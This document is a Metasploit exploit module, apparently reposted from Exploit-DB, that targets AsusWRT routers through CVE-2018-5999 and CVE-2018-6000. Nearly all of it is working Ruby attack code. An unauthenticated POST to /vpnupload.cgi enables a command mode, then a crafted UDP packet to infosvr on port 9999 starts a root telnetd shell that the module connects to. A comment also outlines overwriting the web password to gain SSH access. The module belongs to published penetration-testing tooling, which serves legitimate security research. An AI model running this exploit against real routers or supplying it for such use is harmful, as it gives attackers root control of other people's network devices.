AsusWRT LAN – Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2018-02-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44176/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::Udp
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution',
    'Description'=> %q{
    The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
    perform a POST in certain cases. This can be combined with another vulnerability in
    the VPN configuration upload routine that sets NVRAM configuration variables directly
    from the POST request to enable a special command mode.
    This command mode can then be abused by sending a UDP packet to infosvr, which is running
    on port UDP 9999 to directly execute commands as root.
    This exploit leverages that to start telnetd in a random port, and then connects to it.
    It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
    },
    'Author' =>
    [
    'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
    ],
    'License'=> MSF_LICENSE,
    'References' =>
    [
    ['URL', 'https://blogs.securiteam.com/index.php/archives/3589'],
    ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'],
    ['URL', 'http://seclists.org/fulldisclosure/2018/Jan/78'],
    ['CVE', '2018-5999'],
    ['CVE', '2018-6000']
    ],
    'Targets'=>
    [
    [ 'AsusWRT < v3.0.0.4.384.10007',
    {
    'Payload'=>
    {
    'Compat'=> {
    'PayloadType'=> 'cmd_interact',
    'ConnectionType' => 'find',
    },
    },
    }
    ],
    ],
    'Privileged' => true,
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
    'DisclosureDate'=> 'Jan 22 2018',
    'DefaultTarget' => 0))
    register_options(
    [
    Opt::RPORT(9999)
    ])
    
    register_advanced_options(
    [
    OptInt.new('ASUSWRTPORT', [true,'AsusWRT HTTP portal port', 80])
    ])
    end
    
    def exploit
    # first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD
    # this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!
    post_data = Rex::MIME::Message.new
    post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")
    
    data = post_data.to_s
    
    res = send_request_cgi({
    'uri'=> "/vpnupload.cgi",
    'method' => 'POST',
    'rport'=> datastore['ASUSWRTPORT'],
    'data' => data,
    'ctype'=> "multipart/form-data; boundary=#{post_data.bound}"
    })
    
    if res and res.code == 200
    print_good("#{peer} - Successfully set the ateCommand_flag variable.")
    else
    fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
    end
    
    
    # ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.
    info_pdu_size = 512 # expected packet size, not sure what the extra bytes are
    r = Random.new
    
    ibox_comm_pkt_hdr_ex=
    [0x0c].pack('C*') + # NET_SERVICE_ID_IBOX_INFO0xC
    [0x15].pack('C*') + # NET_PACKET_TYPE_CMD 0x15
    [0x33,0x00].pack('C*') +# NET_CMD_ID_MANU_CMD 0x33
    r.bytes(4) +# Info, don't know what this is
    r.bytes(6) +# MAC address
    r.bytes(32) # Password
    
    telnet_port = rand((2**16)-1024)+1024
    cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')
    pkt_syscmd =
    [cmd.length,0x00].pack('C*') +# cmd length
    cmd # our command
    
    pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)
    
    connect_udp
    udp_sock.put(pkt_final) # we could process the response, but we don't care
    disconnect_udp
    
    print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")
    sleep(10)
    
    begin
    ctx = { 'Msf' => framework, 'MsfExploit' => self }
    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })
    if not sock.nil?
    print_good("#{peer} - Success, shell incoming!")
    return handler(sock)
    end
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
    sock.close if sock
    end
    
    print_bad("#{peer} - Well that didn't work... try again?")
    end
    end